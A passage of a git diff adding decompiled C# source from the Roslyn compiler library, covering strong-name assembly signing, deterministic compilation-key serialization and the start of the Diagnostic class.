} + catch (ClrStrongNameMissingException) + { + return new StrongNameKeys(StrongNameKeys.GetContainerError(messageProvider, keyContainerName, new CodeAnalysisResourcesLocalizableErrorArgument("AssemblySigningNotSupported"))); + } + catch (Exception ex3) + { + return new StrongNameKeys(StrongNameKeys.GetContainerError(messageProvider, keyContainerName, ex3.Message)); + } + } + return new StrongNameKeys(keyPair, publicKey, null, keyContainerName2, keyFilePath, hasCounterSignature); + } + + internal static string? ResolveStrongNameKeyFile(string path, StrongNameFileSystem fileSystem, ImmutableArray keyFileSearchPaths) + { + if (PathUtilities.IsAbsolute(path)) + { + if (fileSystem.FileExists(path)) + { + return FileUtilities.TryNormalizeAbsolutePath(path); + } + return path; + } + ImmutableArray.Enumerator enumerator = keyFileSearchPaths.GetEnumerator(); + while (enumerator.MoveNext()) + { + string text = PathUtilities.CombineAbsoluteAndRelativePaths(enumerator.Current, path); + if (fileSystem.FileExists(text)) + { + return FileUtilities.TryNormalizeAbsolutePath(text); + } + } + return null; + } + + internal virtual void ReadKeysFromContainer(string keyContainer, out ImmutableArray publicKey) + { + try + { + publicKey = GetPublicKey(keyContainer); + } + catch (ClrStrongNameMissingException) + { + throw; + } + catch (Exception ex2) + { + throw new IOException(ex2.Message); + } + } + + internal override void SignFile(StrongNameKeys keys, string filePath) + { + if (!string.IsNullOrEmpty(keys.KeyFilePath)) + { + Sign(filePath, keys.KeyPair); + } + else + { + Sign(filePath, keys.KeyContainer); + } + } + + internal override void SignBuilder(ExtendedPEBuilder peBuilder, BlobBuilder peBlob, RSAParameters privateKey) + { + peBuilder.Sign(peBlob, (IEnumerable content) => SigningUtilities.CalculateRsaSignature(content, privateKey)); + } + + internal virtual IClrStrongName GetStrongNameInterface() + { + try + { + return ClrStrongName.GetInstance(); + } + catch (MarshalDirectiveException) when (PathUtilities.IsUnixLikePlatform) + { + throw new ClrStrongNameMissingException(); + } + } + + internal ImmutableArray GetPublicKey(string keyContainer) + { + IClrStrongName strongNameInterface = GetStrongNameInterface(); + strongNameInterface.StrongNameGetPublicKey(keyContainer, (IntPtr)0, 0, out var ppbPublicKeyBlob, out var pcbPublicKeyBlob); + byte[] array = new byte[pcbPublicKeyBlob]; + Marshal.Copy(ppbPublicKeyBlob, array, 0, pcbPublicKeyBlob); + strongNameInterface.StrongNameFreeBuffer(ppbPublicKeyBlob); + return array.AsImmutableOrNull(); + } + + private void Sign(string filePath, string keyName) + { + try + { + GetStrongNameInterface().StrongNameSignatureGeneration(filePath, keyName, IntPtr.Zero, 0, null, out var _); + } + catch (ClrStrongNameMissingException) + { + throw; + } + catch (Exception ex2) + { + throw new IOException(ex2.Message, ex2); + } + } + + private unsafe void Sign(string filePath, ImmutableArray keyPair) + { + try + { + IClrStrongName strongNameInterface = GetStrongNameInterface(); + fixed (byte* ptr = keyPair.ToArray()) + { + strongNameInterface.StrongNameSignatureGeneration(filePath, null, (IntPtr)ptr, keyPair.Length, null, out var _); + } + } + catch (ClrStrongNameMissingException) + { + throw; + } + catch (Exception ex2) + { + throw new IOException(ex2.Message, ex2); + } + } + + public override int GetHashCode() + { + return Hash.CombineValues(_keyFileSearchPaths, StringComparer.Ordinal); + } + + public override bool Equals(object? obj) + { + if (obj == null || GetType() != obj.GetType()) + { + return false; + } + DesktopStrongNameProvider desktopStrongNameProvider = (DesktopStrongNameProvider)obj; + if (FileSystem != desktopStrongNameProvider.FileSystem) + { + return false; + } + if (!_keyFileSearchPaths.SequenceEqual(desktopStrongNameProvider._keyFileSearchPaths, StringComparer.Ordinal)) + { + return false; + } + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeterministicKey.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeterministicKey.cs new file mode 100644 index 0000000..b41e89f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeterministicKey.cs @@ -0,0 +1,20 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Emit; + +namespace Microsoft.CodeAnalysis; + +internal static class DeterministicKey +{ + public static string GetDeterministicKey(CompilationOptions compilationOptions, ImmutableArray syntaxTrees, ImmutableArray references, ImmutableArray publicKey = default(ImmutableArray), ImmutableArray additionalTexts = default(ImmutableArray), ImmutableArray analyzers = default(ImmutableArray), ImmutableArray generators = default(ImmutableArray), ImmutableArray> pathMap = default(ImmutableArray>), EmitOptions? emitOptions = null, DeterministicKeyOptions options = DeterministicKeyOptions.Default, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetDeterministicKey(compilationOptions, syntaxTrees.SelectAsArray((SyntaxTree t) => SyntaxTreeKey.Create(t)), references, publicKey, additionalTexts, analyzers, generators, pathMap, emitOptions, options, cancellationToken); + } + + public static string GetDeterministicKey(CompilationOptions compilationOptions, ImmutableArray syntaxTrees, ImmutableArray references, ImmutableArray publicKey, ImmutableArray additionalTexts = default(ImmutableArray), ImmutableArray analyzers = default(ImmutableArray), ImmutableArray generators = default(ImmutableArray), ImmutableArray> pathMap = default(ImmutableArray>), EmitOptions? emitOptions = null, DeterministicKeyOptions options = DeterministicKeyOptions.Default, CancellationToken cancellationToken = default(CancellationToken)) + { + return compilationOptions.CreateDeterministicKeyBuilder().GetKey(compilationOptions, syntaxTrees, references, publicKey, additionalTexts.NullToEmpty(), analyzers.NullToEmpty(), generators.NullToEmpty(), pathMap.NullToEmpty(), emitOptions, options, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeterministicKeyBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeterministicKeyBuilder.cs new file mode 100644 index 0000000..f3039a0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeterministicKeyBuilder.cs @@ -0,0 +1,431 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Reflection; +using System.Reflection.Metadata; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal abstract class DeterministicKeyBuilder +{ + protected void WriteFilePath(JsonWriter writer, string propertyName, string? filePath, ImmutableArray> pathMap, DeterministicKeyOptions options) + { + if ((options & DeterministicKeyOptions.IgnorePaths) != DeterministicKeyOptions.Default) + { + filePath = Path.GetFileName(filePath); + } + else if (filePath != null) + { + filePath = PathUtilities.NormalizePathPrefix(filePath, pathMap); + } + writer.Write(propertyName, filePath); + } + + internal static string EncodeByteArrayValue(ReadOnlySpan value) + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + EncodeByteArrayValue(value, instance.Builder); + return instance.ToStringAndFree(); + } + + internal static void EncodeByteArrayValue(ReadOnlySpan value, StringBuilder builder) + { + ReadOnlySpan readOnlySpan = value; + for (int i = 0; i < readOnlySpan.Length; i++) + { + byte b = readOnlySpan[i]; + builder.Append(b.ToString("x")); + } + } + + protected static void WriteByteArrayValue(JsonWriter writer, string name, ReadOnlySpan value) + { + writer.Write(name, EncodeByteArrayValue(value)); + } + + protected static void WriteVersion(JsonWriter writer, string key, Version version) + { + writer.WriteKey(key); + writer.WriteObjectStart(); + writer.Write("major", version.Major); + writer.Write("minor", version.Minor); + writer.Write("build", version.Build); + writer.Write("revision", version.Revision); + writer.WriteObjectEnd(); + } + + protected void WriteType(JsonWriter writer, string key, Type? type) + { + writer.WriteKey(key); + WriteType(writer, type); + } + + protected void WriteType(JsonWriter writer, Type? type) + { + if ((object)type == null) + { + writer.WriteNull(); + return; + } + writer.WriteObjectStart(); + writer.Write("fullName", type.FullName); + writer.Write("assemblyName", type.Assembly.FullName); + writer.Write("mvid", GetGuidValue(type.Assembly.ManifestModule.ModuleVersionId)); + writer.WriteObjectEnd(); + } + + private (JsonWriter, PooledStringBuilder) CreateWriter() + { + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + return (new JsonWriter(new StringWriter(instance)), instance); + } + + internal string GetKey(CompilationOptions compilationOptions, ImmutableArray syntaxTrees, ImmutableArray references, ImmutableArray publicKey, ImmutableArray additionalTexts, ImmutableArray analyzers, ImmutableArray generators, ImmutableArray> pathMap, EmitOptions? emitOptions, DeterministicKeyOptions options, CancellationToken cancellationToken) + { + additionalTexts = additionalTexts.NullToEmpty(); + analyzers = analyzers.NullToEmpty(); + generators = generators.NullToEmpty(); + var (writer, pooledStringBuilder) = CreateWriter(); + writer.WriteObjectStart(); + writer.WriteKey("compilation"); + WriteCompilation(writer, compilationOptions, syntaxTrees, references, publicKey, pathMap, options, cancellationToken); + writer.WriteKey("additionalTexts"); + writeAdditionalTexts(); + writer.WriteKey("analyzers"); + writeAnalyzers(); + writer.WriteKey("generators"); + writeGenerators(); + writer.WriteKey("emitOptions"); + WriteEmitOptions(writer, emitOptions, pathMap, options); + writer.WriteObjectEnd(); + return pooledStringBuilder.ToStringAndFree(); + void writeAdditionalTexts() + { + writer.WriteArrayStart(); + ImmutableArray.Enumerator enumerator = additionalTexts.GetEnumerator(); + while (enumerator.MoveNext()) + { + AdditionalText current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + writer.WriteObjectStart(); + WriteFilePath(writer, "fileName", current.Path, pathMap, options); + writer.WriteKey("text"); + WriteSourceText(writer, current.GetText(cancellationToken)); + writer.WriteObjectEnd(); + } + writer.WriteArrayEnd(); + } + void writeAnalyzers() + { + writer.WriteArrayStart(); + ImmutableArray.Enumerator enumerator = analyzers.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticAnalyzer current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + WriteType(writer, current.GetType()); + } + writer.WriteArrayEnd(); + } + void writeGenerators() + { + writer.WriteArrayStart(); + ImmutableArray.Enumerator enumerator = generators.GetEnumerator(); + while (enumerator.MoveNext()) + { + ISourceGenerator current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + WriteType(writer, current.GetType()); + } + writer.WriteArrayEnd(); + } + } + + internal static string GetGuidValue(in Guid guid) + { + Guid guid2 = guid; + return guid2.ToString("D"); + } + + private void WriteCompilation(JsonWriter writer, CompilationOptions compilationOptions, ImmutableArray syntaxTrees, ImmutableArray references, ImmutableArray publicKey, ImmutableArray> pathMap, DeterministicKeyOptions options, CancellationToken cancellationToken) + { + writer.WriteObjectStart(); + writeToolsVersions(); + WriteByteArrayValue(writer, "publicKey", publicKey.AsSpan()); + writer.WriteKey("options"); + WriteCompilationOptions(writer, compilationOptions); + writer.WriteKey("syntaxTrees"); + writer.WriteArrayStart(); + ImmutableArray.Enumerator enumerator = syntaxTrees.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTreeKey current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + WriteSyntaxTree(writer, current, pathMap, options, cancellationToken); + } + writer.WriteArrayEnd(); + writer.WriteKey("references"); + writer.WriteArrayStart(); + ImmutableArray.Enumerator enumerator2 = references.GetEnumerator(); + while (enumerator2.MoveNext()) + { + MetadataReference current2 = enumerator2.Current; + cancellationToken.ThrowIfCancellationRequested(); + WriteMetadataReference(writer, current2, pathMap, options, cancellationToken); + } + writer.WriteArrayEnd(); + writer.WriteObjectEnd(); + void writeToolsVersions() + { + writer.WriteKey("toolsVersions"); + writer.WriteObjectStart(); + if ((options & DeterministicKeyOptions.IgnoreToolVersions) == 0) + { + string value = typeof(Compilation).Assembly.GetCustomAttribute()?.InformationalVersion; + writer.Write("compilerVersion", value); + string value2 = typeof(object).Assembly.GetCustomAttribute()?.InformationalVersion; + writer.Write("runtimeVersion", value2); + writer.Write("frameworkDescription", RuntimeInformation.FrameworkDescription); + writer.Write("osDescription", RuntimeInformation.OSDescription); + } + writer.WriteObjectEnd(); + } + } + + private void WriteSyntaxTree(JsonWriter writer, SyntaxTreeKey syntaxTree, ImmutableArray> pathMap, DeterministicKeyOptions options, CancellationToken cancellationToken) + { + writer.WriteObjectStart(); + WriteFilePath(writer, "fileName", syntaxTree.FilePath, pathMap, options); + writer.WriteKey("text"); + WriteSourceText(writer, syntaxTree.GetText(cancellationToken)); + writer.WriteKey("parseOptions"); + WriteParseOptions(writer, syntaxTree.Options); + writer.WriteObjectEnd(); + } + + private void WriteSourceText(JsonWriter writer, SourceText? sourceText) + { + if (sourceText == null) + { + writer.WriteNull(); + return; + } + writer.WriteObjectStart(); + WriteByteArrayValue(writer, "checksum", sourceText.GetChecksum().AsSpan()); + writer.Write("checksumAlgorithm", sourceText.ChecksumAlgorithm); + writer.Write("encodingName", sourceText.Encoding?.EncodingName); + writer.WriteObjectEnd(); + } + + internal void WriteMetadataReference(JsonWriter writer, MetadataReference reference, ImmutableArray> pathMap, DeterministicKeyOptions deterministicKeyOptions, CancellationToken cancellationToken) + { + writer.WriteObjectStart(); + if (reference is PortableExecutableReference portableExecutableReference) + { + Metadata metadata = portableExecutableReference.GetMetadata(); + if (!(metadata is AssemblyMetadata assemblyMetadata)) + { + if (!(metadata is ModuleMetadata moduleMetadata)) + { + throw ExceptionUtilities.UnexpectedValue(metadata); + } + writeModuleMetadata(moduleMetadata); + } + else + { + ImmutableArray modules = assemblyMetadata.GetModules(); + writeModuleMetadata(modules[0]); + writer.WriteKey("secondaryModules"); + writer.WriteArrayStart(); + for (int i = 1; i < modules.Length; i++) + { + writer.WriteObjectStart(); + writeModuleMetadata(modules[i]); + writer.WriteObjectEnd(); + } + writer.WriteArrayEnd(); + } + writer.WriteKey("properties"); + writeMetadataReferenceProperties(writer, reference.Properties); + } + else + { + if (!(reference is CompilationReference compilationReference)) + { + throw ExceptionUtilities.UnexpectedValue(reference); + } + writer.WriteKey("compilation"); + Compilation compilation = compilationReference.Compilation; + compilation.Options.CreateDeterministicKeyBuilder().WriteCompilation(writer, compilation.Options, compilation.SyntaxTrees.SelectAsArray((SyntaxTree x) => SyntaxTreeKey.Create(x)), compilation.References.AsImmutable(), compilation.Assembly.Identity.PublicKey, pathMap, deterministicKeyOptions, cancellationToken); + } + writer.WriteObjectEnd(); + static void writeMetadataReferenceProperties(JsonWriter jsonWriter, MetadataReferenceProperties properties) + { + jsonWriter.WriteObjectStart(); + jsonWriter.Write("kind", properties.Kind); + jsonWriter.Write("embedInteropTypes", properties.EmbedInteropTypes); + jsonWriter.WriteKey("aliases"); + jsonWriter.WriteArrayStart(); + ImmutableArray.Enumerator enumerator = properties.Aliases.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + jsonWriter.Write(current); + } + jsonWriter.WriteArrayEnd(); + jsonWriter.WriteObjectEnd(); + } + void writeModuleMetadata(ModuleMetadata moduleMetadata2) + { + MetadataReader metadataReader = moduleMetadata2.GetMetadataReader(); + if (metadataReader.IsAssembly) + { + AssemblyDefinition assemblyDefinition = metadataReader.GetAssemblyDefinition(); + writer.Write("name", metadataReader.GetString(assemblyDefinition.Name)); + WriteVersion(writer, "version", assemblyDefinition.Version); + WriteByteArrayValue(writer, "publicKey", metadataReader.GetBlobBytes(assemblyDefinition.PublicKey).AsSpan()); + } + else + { + ModuleDefinition moduleDefinition = metadataReader.GetModuleDefinition(); + writer.Write("name", metadataReader.GetString(moduleDefinition.Name)); + } + writer.Write("mvid", GetGuidValue(moduleMetadata2.GetModuleVersionId())); + } + } + + private void WriteEmitOptions(JsonWriter writer, EmitOptions? options, ImmutableArray> pathMap, DeterministicKeyOptions deterministicKeyOptions) + { + if ((object)options == null) + { + writer.WriteNull(); + return; + } + writer.WriteObjectStart(); + writer.Write("emitMetadataOnly", options.EmitMetadataOnly); + writer.Write("tolerateErrors", options.TolerateErrors); + writer.Write("includePrivateMembers", options.IncludePrivateMembers); + writer.WriteKey("instrumentationKinds"); + writer.WriteArrayStart(); + if (!options.InstrumentationKinds.IsDefault) + { + ImmutableArray.Enumerator enumerator = options.InstrumentationKinds.GetEnumerator(); + while (enumerator.MoveNext()) + { + InstrumentationKind current = enumerator.Current; + writer.Write(current); + } + } + writer.WriteArrayEnd(); + writeSubsystemVersion(writer, options.SubsystemVersion); + writer.Write("fileAlignment", options.FileAlignment); + writer.Write("highEntropyVirtualAddressSpace", options.HighEntropyVirtualAddressSpace); + writer.WriteInvariant("baseAddress", options.BaseAddress); + writer.Write("debugInformationFormat", options.DebugInformationFormat); + writer.Write("outputNameOverride", options.OutputNameOverride); + WriteFilePath(writer, "pdbFilePath", options.PdbFilePath, pathMap, deterministicKeyOptions); + writer.Write("pdbChecksumAlgorithm", options.PdbChecksumAlgorithm.Name); + writer.Write("runtimeMetadataVersion", options.RuntimeMetadataVersion); + writer.Write("defaultSourceFileEncoding", options.DefaultSourceFileEncoding?.CodePage); + writer.Write("fallbackSourceFileEncoding", options.FallbackSourceFileEncoding?.CodePage); + writer.WriteObjectEnd(); + static void writeSubsystemVersion(JsonWriter jsonWriter, SubsystemVersion version) + { + jsonWriter.WriteKey("subsystemVersion"); + jsonWriter.WriteObjectStart(); + jsonWriter.Write("major", version.Major); + jsonWriter.Write("minor", version.Minor); + jsonWriter.WriteObjectEnd(); + } + } + + private void WriteCompilationOptions(JsonWriter writer, CompilationOptions options) + { + writer.WriteObjectStart(); + WriteCompilationOptionsCore(writer, options); + writer.WriteObjectEnd(); + } + + protected virtual void WriteCompilationOptionsCore(JsonWriter writer, CompilationOptions options) + { + writer.Write("outputKind", options.OutputKind); + writer.Write("moduleName", options.ModuleName); + writer.Write("scriptClassName", options.ScriptClassName); + writer.Write("mainTypeName", options.MainTypeName); + WriteByteArrayValue(writer, "cryptoPublicKey", options.CryptoPublicKey.AsSpan()); + writer.Write("cryptoKeyFile", options.CryptoKeyFile); + writer.Write("delaySign", options.DelaySign); + writer.Write("publicSign", options.PublicSign); + writer.Write("checkOverflow", options.CheckOverflow); + writer.Write("platform", options.Platform); + writer.Write("optimizationLevel", options.OptimizationLevel); + writer.Write("generalDiagnosticOption", options.GeneralDiagnosticOption); + writer.Write("warningLevel", options.WarningLevel); + writer.Write("deterministic", options.Deterministic); + writer.Write("debugPlusMode", options.DebugPlusMode); + writer.Write("referencesSupersedeLowerVersions", options.ReferencesSupersedeLowerVersions); + writer.Write("reportSuppressedDiagnostics", options.ReportSuppressedDiagnostics); + writer.Write("nullableContextOptions", options.NullableContextOptions); + writer.WriteKey("specificDiagnosticOptions"); + writer.WriteArrayStart(); + foreach (string item in options.SpecificDiagnosticOptions.Keys.OrderBy((IComparer?)StringComparer.Ordinal)) + { + writer.WriteObjectStart(); + writer.Write(item, options.SpecificDiagnosticOptions[item]); + writer.WriteObjectEnd(); + } + writer.WriteArrayEnd(); + if (options.Deterministic) + { + writer.Write("deterministic", value: true); + writer.WriteNull("localtime"); + } + else + { + writer.Write("deterministic", value: false); + writer.WriteInvariant("localtime", options.CurrentLocalTime); + writer.Write("nondeterministicMvid", GetGuidValue(Guid.NewGuid())); + } + writer.WriteKey("extensions"); + writer.WriteObjectStart(); + WriteType(writer, "syntaxTreeOptionsProvider", options.SyntaxTreeOptionsProvider?.GetType()); + WriteType(writer, "metadataReferenceResolver", options.MetadataReferenceResolver?.GetType()); + WriteType(writer, "xmlReferenceResolver", options.XmlReferenceResolver?.GetType()); + WriteType(writer, "sourceReferenceResolver", options.SourceReferenceResolver?.GetType()); + WriteType(writer, "strongNameProvider", options.StrongNameProvider?.GetType()); + WriteType(writer, "assemblyIdentityComparer", options.AssemblyIdentityComparer?.GetType()); + writer.WriteObjectEnd(); + } + + protected void WriteParseOptions(JsonWriter writer, ParseOptions parseOptions) + { + writer.WriteObjectStart(); + WriteParseOptionsCore(writer, parseOptions); + writer.WriteObjectEnd(); + } + + protected virtual void WriteParseOptionsCore(JsonWriter writer, ParseOptions parseOptions) + { + writer.Write("kind", parseOptions.Kind); + writer.Write("specifiedKind", parseOptions.SpecifiedKind); + writer.Write("documentationMode", parseOptions.DocumentationMode); + writer.Write("language", parseOptions.Language); + writer.WriteKey("features"); + IReadOnlyDictionary features = parseOptions.Features; + writer.WriteObjectStart(); + foreach (string item in features.Keys.OrderBy((IComparer?)StringComparer.Ordinal)) + { + writer.Write(item, features[item]); + } + writer.WriteObjectEnd(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeterministicKeyOptions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeterministicKeyOptions.cs new file mode 100644 index 0000000..b741821 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DeterministicKeyOptions.cs @@ -0,0 +1,11 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +[Flags] +internal enum DeterministicKeyOptions +{ + Default = 0, + IgnorePaths = 1, + IgnoreToolVersions = 2 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Diagnostic.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Diagnostic.cs new file mode 100644 index 0000000..a6d2a25 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Diagnostic.cs @@ -0,0 +1,507 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Globalization; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public abstract class Diagnostic : IEquatable, IFormattable +{ + private sealed class DiagnosticWithProgrammaticSuppression : Diagnostic + { + private readonly Diagnostic _originalUnsuppressedDiagnostic; + + private readonly ProgrammaticSuppressionInfo _programmaticSuppressionInfo; + + public override DiagnosticDescriptor Descriptor => _originalUnsuppressedDiagnostic.Descriptor; + + public override string Id => Descriptor.Id; + + internal override IReadOnlyList Arguments => _originalUnsuppressedDiagnostic.Arguments; + + public override DiagnosticSeverity Severity => _originalUnsuppressedDiagnostic.Severity; + + public override bool IsSuppressed => true; + + internal override ProgrammaticSuppressionInfo ProgrammaticSuppressionInfo => _programmaticSuppressionInfo; + + public override int WarningLevel => _originalUnsuppressedDiagnostic.WarningLevel; + + public override Location Location => _originalUnsuppressedDiagnostic.Location; + + public override IReadOnlyList AdditionalLocations => _originalUnsuppressedDiagnostic.AdditionalLocations; + + public override ImmutableDictionary Properties => _originalUnsuppressedDiagnostic.Properties; + + public DiagnosticWithProgrammaticSuppression(Diagnostic originalUnsuppressedDiagnostic, ProgrammaticSuppressionInfo programmaticSuppressionInfo) + { + _originalUnsuppressedDiagnostic = originalUnsuppressedDiagnostic; + _programmaticSuppressionInfo = programmaticSuppressionInfo; + } + + public override string GetMessage(IFormatProvider? formatProvider = null) + { + return _originalUnsuppressedDiagnostic.GetMessage(formatProvider); + } + + public override bool Equals(Diagnostic? obj) + { + if (this == obj) + { + return true; + } + if (!(obj is DiagnosticWithProgrammaticSuppression diagnosticWithProgrammaticSuppression)) + { + return false; + } + if (object.Equals(_originalUnsuppressedDiagnostic, diagnosticWithProgrammaticSuppression._originalUnsuppressedDiagnostic)) + { + return object.Equals(_programmaticSuppressionInfo, diagnosticWithProgrammaticSuppression._programmaticSuppressionInfo); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_originalUnsuppressedDiagnostic.GetHashCode(), _programmaticSuppressionInfo.GetHashCode()); + } + + internal override Diagnostic WithLocation(Location location) + { + if (location == null) + { + throw new ArgumentNullException("location"); + } + if (Location != location) + { + return new DiagnosticWithProgrammaticSuppression(_originalUnsuppressedDiagnostic.WithLocation(location), _programmaticSuppressionInfo); + } + return this; + } + + internal override Diagnostic WithSeverity(DiagnosticSeverity severity) + { + if (Severity != severity) + { + return new DiagnosticWithProgrammaticSuppression(_originalUnsuppressedDiagnostic.WithSeverity(severity), _programmaticSuppressionInfo); + } + return this; + } + + internal override Diagnostic WithIsSuppressed(bool isSuppressed) + { + if (!isSuppressed) + { + throw new ArgumentException("isSuppressed"); + } + return this; + } + } + + internal sealed class SimpleDiagnostic : Diagnostic + { + private readonly DiagnosticDescriptor _descriptor; + + private readonly DiagnosticSeverity _severity; + + private readonly int _warningLevel; + + private readonly Location _location; + + private readonly IReadOnlyList _additionalLocations; + + private readonly object?[] _messageArgs; + + private readonly ImmutableDictionary _properties; + + private readonly bool _isSuppressed; + + public override DiagnosticDescriptor Descriptor => _descriptor; + + public override string Id => _descriptor.Id; + + internal override IReadOnlyList Arguments => _messageArgs; + + public override DiagnosticSeverity Severity => _severity; + + public override bool IsSuppressed => _isSuppressed; + + public override int WarningLevel => _warningLevel; + + public override Location Location => _location; + + public override IReadOnlyList AdditionalLocations => _additionalLocations; + + public override ImmutableDictionary Properties => _properties; + + private SimpleDiagnostic(DiagnosticDescriptor descriptor, DiagnosticSeverity severity, int warningLevel, Location location, IEnumerable? additionalLocations, object?[]? messageArgs, ImmutableDictionary? properties, bool isSuppressed) + { + if ((warningLevel == 0 && severity != DiagnosticSeverity.Error) || (warningLevel != 0 && severity == DiagnosticSeverity.Error)) + { + throw new ArgumentException(string.Format("{0} ({1}) and {2} ({3}) are not compatible.", new object[4] { "warningLevel", warningLevel, "severity", severity }), "warningLevel"); + } + _descriptor = descriptor ?? throw new ArgumentNullException("descriptor"); + _severity = severity; + _warningLevel = warningLevel; + _location = location ?? Microsoft.CodeAnalysis.Location.None; + ImmutableArray? immutableArray = additionalLocations?.ToImmutableArray(); + IReadOnlyList additionalLocations2; + if (!immutableArray.HasValue) + { + additionalLocations2 = SpecializedCollections.EmptyReadOnlyList(); + } + else + { + IReadOnlyList readOnlyList = immutableArray.GetValueOrDefault(); + additionalLocations2 = readOnlyList; + } + _additionalLocations = additionalLocations2; + _messageArgs = messageArgs ?? Array.Empty(); + _properties = properties ?? ImmutableDictionary.Empty; + _isSuppressed = isSuppressed; + } + + internal static SimpleDiagnostic Create(DiagnosticDescriptor descriptor, DiagnosticSeverity severity, int warningLevel, Location location, IEnumerable? additionalLocations, object?[]? messageArgs, ImmutableDictionary? properties, bool isSuppressed = false) + { + return new SimpleDiagnostic(descriptor, severity, warningLevel, location, additionalLocations, messageArgs, properties, isSuppressed); + } + + internal static SimpleDiagnostic Create(string id, LocalizableString title, string category, LocalizableString message, LocalizableString description, string helpLink, DiagnosticSeverity severity, DiagnosticSeverity defaultSeverity, bool isEnabledByDefault, int warningLevel, Location location, IEnumerable? additionalLocations, IEnumerable? customTags, ImmutableDictionary? properties, bool isSuppressed = false) + { + return new SimpleDiagnostic(new DiagnosticDescriptor(id, title, message, category, defaultSeverity, isEnabledByDefault, description, helpLink, customTags.ToImmutableArrayOrEmpty()), severity, warningLevel, location, additionalLocations, null, properties, isSuppressed); + } + + public override string GetMessage(IFormatProvider? formatProvider = null) + { + if (_messageArgs.Length == 0) + { + return _descriptor.MessageFormat.ToString(formatProvider); + } + string text = _descriptor.MessageFormat.ToString(formatProvider); + try + { + return string.Format(formatProvider, text, _messageArgs); + } + catch (Exception) + { + return text; + } + } + + public override bool Equals(Diagnostic? obj) + { + if (this == obj) + { + return true; + } + if (!(obj is SimpleDiagnostic simpleDiagnostic)) + { + return false; + } + if (AnalyzerExecutor.IsAnalyzerExceptionDiagnostic(this)) + { + return AnalyzerExecutor.AreEquivalentAnalyzerExceptionDiagnostics(this, simpleDiagnostic); + } + if (_descriptor.Equals(simpleDiagnostic._descriptor) && _messageArgs.SequenceEqual(simpleDiagnostic._messageArgs, (object a, object b) => a == b) && _location == simpleDiagnostic._location && _severity == simpleDiagnostic._severity) + { + return _warningLevel == simpleDiagnostic._warningLevel; + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(_descriptor, Hash.CombineValues(_messageArgs, Hash.Combine(_warningLevel, Hash.Combine(_location, (int)_severity)))); + } + + internal override Diagnostic WithLocation(Location location) + { + if ((object)location == null) + { + throw new ArgumentNullException("location"); + } + if (location != _location) + { + return new SimpleDiagnostic(_descriptor, _severity, _warningLevel, location, _additionalLocations, _messageArgs, _properties, _isSuppressed); + } + return this; + } + + internal override Diagnostic WithSeverity(DiagnosticSeverity severity) + { + if (Severity != severity) + { + int defaultWarningLevel = GetDefaultWarningLevel(severity); + return new SimpleDiagnostic(_descriptor, severity, defaultWarningLevel, _location, _additionalLocations, _messageArgs, _properties, _isSuppressed); + } + return this; + } + + internal override Diagnostic WithIsSuppressed(bool isSuppressed) + { + if (IsSuppressed != isSuppressed) + { + return new SimpleDiagnostic(_descriptor, _severity, _warningLevel, _location, _additionalLocations, _messageArgs, _properties, isSuppressed); + } + return this; + } + } + + internal const string CompilerDiagnosticCategory = "Compiler"; + + internal const int DefaultWarningLevel = 4; + + internal const int InfoAndHiddenWarningLevel = 1; + + internal const int MaxWarningLevel = 9999; + + public abstract DiagnosticDescriptor Descriptor { get; } + + public abstract string Id { get; } + + internal virtual string Category => Descriptor.Category; + + public virtual DiagnosticSeverity DefaultSeverity => Descriptor.DefaultSeverity; + + public abstract DiagnosticSeverity Severity { get; } + + public abstract int WarningLevel { get; } + + public abstract bool IsSuppressed { get; } + + internal virtual bool IsEnabledByDefault => Descriptor.IsEnabledByDefault; + + public bool IsWarningAsError + { + get + { + if (DefaultSeverity == DiagnosticSeverity.Warning) + { + return Severity == DiagnosticSeverity.Error; + } + return false; + } + } + + public abstract Location Location { get; } + + public abstract IReadOnlyList AdditionalLocations { get; } + + internal virtual ImmutableArray CustomTags => Descriptor.ImmutableCustomTags; + + public virtual ImmutableDictionary Properties => ImmutableDictionary.Empty; + + internal virtual 